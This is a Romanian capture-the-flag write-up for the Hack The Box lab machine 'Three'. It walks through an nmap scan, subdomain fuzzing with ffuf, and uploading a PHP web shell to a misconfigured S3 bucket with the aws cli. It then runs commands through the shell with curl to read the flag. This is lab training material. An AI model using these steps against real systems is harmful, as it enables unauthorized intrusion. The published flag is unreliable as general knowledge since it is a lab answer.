

Ca de obicei, incep cu un nmap sa vedem ce avem disponibil.

```
rgmy@debian1:~/HTB_Machines/Three$ nmap -sV -sC 10.129.52.232
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-18 15:48 EEST
Nmap scan report for 10.129.52.232
Host is up (0.073s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256  e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256  2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: The Toppers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.21 seconds
```

Intram pe site si ne uitam.



La contact, am vazut ceva interesant. Emailul are un domain custom.

📍 Chicago, US
📞 Phone: +01 343 123 6102
✉ Email: mail@thetoppers.htb

Modific /etc/hosts ca sa fie posibil sa dau fuzz, poate dau de un subdomain.

10.129.52.232 thetoppers.htb

Adaug asta la ultima linie.

Acum pot incepe fuzzingul.

```
ffuf -w namelist.txt -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -fw 1832
```

O sa ia cateva incercari sa vad daca am nimerit un dictionar prost. Daca nu gaseste nimic, il schimb.

Am gasit s3.thetoppers.htb. Il punem si pe el in hosts.

Daca cautam s3 pe net, vedem ca e un server AWS.

Deci putem folosi awscli sa vedem daca ne putem conecta. Trebuie rulat `aws configure` pt setup la instalare. (temp la tot pentru a pune ceva date).

Pentru ca putem rula aws cp, putem sa punem noi un script.php care imi va da optiunea pt RCE. Pentru a il introduce, doar rulez:

```
aws s3 cp script.php s3://thetoppers.htb/ --endpoint-url http://10.129.52.232
```

Flagul stim ca este in /var/www, deci putem foarte usor doar sa il extragem prin curl.

```
curl "http://thetoppers.htb/script.php?cmd=cat%20/var/www/flag.txt"
```

Trebuie cu %20 sa nu se planga ca e 'malformat' linkul.

```
rgmy@debian1:~/HTB_Machines/Three$ curl "http://thetoppers.htb/script.php?cmd=cat%20/var/www/flag.txt"
a988d99281a28d638ac68b9bf9453c2b
```